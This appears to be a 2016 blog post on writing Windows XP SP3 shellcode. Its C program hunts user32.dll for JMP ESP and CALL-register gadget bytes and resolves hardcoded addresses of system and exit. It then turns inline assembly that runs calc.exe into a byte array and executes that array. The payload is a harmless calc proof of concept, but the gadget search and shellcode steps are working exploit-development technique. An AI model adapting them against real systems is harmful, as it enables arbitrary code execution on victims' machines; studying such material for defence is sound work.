Get Shellcode
C --> Assembly --> Shellcode
XP SP3
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { //get address // HMODULE hMod = LoadLibrary("user32.dll"); // if (hMod) // { // PBYTE pTravel = (PBYTE)hMod; // BOOL bLoop = TRUE; // for (DWORD i = 0; bLoop; i++) // { // //FF E0 JMP EAX // //FF E1 JMP ECX // //FF E2 JMP EDX // //FF E3 JMP EBX // //FF E4 JMP ESP // //FF E5 JMP EBP // //FF E6 JMP ESI // //FF E7 JMP EDI // // //FF D0 CALL EAX // //FF D1 CALL ECX // //FF D2 CALL EDX // //FF D3 CALL EBX // //FF D4 CALL ESP // //FF D5 CALL EBP // //FF D6 CALL ESI // //FF D7 CALL EDI // try // { // if(pTravel[i] == 0xFF && pTravel[i+1] == 0xE4) // { // printf("%p\r\n", pTravel + i);//77D29353 // break; // } // } // catch(...) // { // bLoop = FALSE; // } // } // FreeLibrary(hMod); // hMod = NULL; // } // hMod = LoadLibrary("msvcrt.dll"); // if (hMod) // { // printf("%p\r\n", GetProcAddress(hMod, "system"));//77BF93C7 // printf("%p\r\n", GetProcAddress(hMod, "exit"));//77C09E7E // FreeLibrary(hMod); // hMod = NULL; // } // exit(0); //c // system("calc.exe"); // exit(0); //assembly // __asm // { // xor eax, eax // push eax // mov byte ptr [esp], 'l' // mov byte ptr [esp+1], 'l' // push 'd.tr' // push 'cvsm' // push msvcrt.dll 0 0, 12 bytes // mov eax, esp // push eax // mov eax, 7c801d7bh//LoadLibraryA msvcrt.dll // call eax // // xor eax, eax // push eax // push 'exe.' // push 'clac' // push calc.exe 0 0 0 0, 12 bytes // mov eax, esp // push eax // mov eax,77BF93C7h//system // call eax // // xor eax, eax // push eax // mov eax,77C09E7Eh//exit // call eax // } // 00401288 33 C0 50 C6 04 24 6C C6 44 24 01 6C 68 72 74 2E 3繮..$l艱$.lhrt. // 00401298 64 68 6D 73 76 63 8B C4 50 B8 7B 1D 80 7C FF D0 dhmsvc嬆P竰..|.. // 004012A8 33 C0 50 68 2E 65 78 65 68 63 61 6C 63 8B C4 50 3繮h.exehcalc嬆P // 004012B8 B8 C7 93 BF 77 FF D0 33 C0 50 B8 7E 9E C0 77 FF 盖摽w..3繮竳灷w. // 004012C8 D0 //shellcode unsigned char uc[] = "\x33\xC0\x50\xC6\x04\x24\x6C\xC6\x44\x24\x01\x6C\x68\x72\x74\x2E" "\x64\x68\x6D\x73\x76\x63\x8B\xC4\x50\xB8\x7B\x1D\x80\x7C\xFF\xD0" "\x33\xC0\x50\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xC4\x50" "\xB8" "\xC7\x93\xBF\x77"//system "\xFF\xD0\x33\xC0\x50\xB8" "\x7E\x9E\xC0\x77\xFF"//exit "\xD0"; typedef void (*FUNC)(); ((FUNC)&uc)(); return 0; }
posted on 2016-10-28 09:40 NoneButNow 阅读(166) 评论(0) 编辑 收藏 举报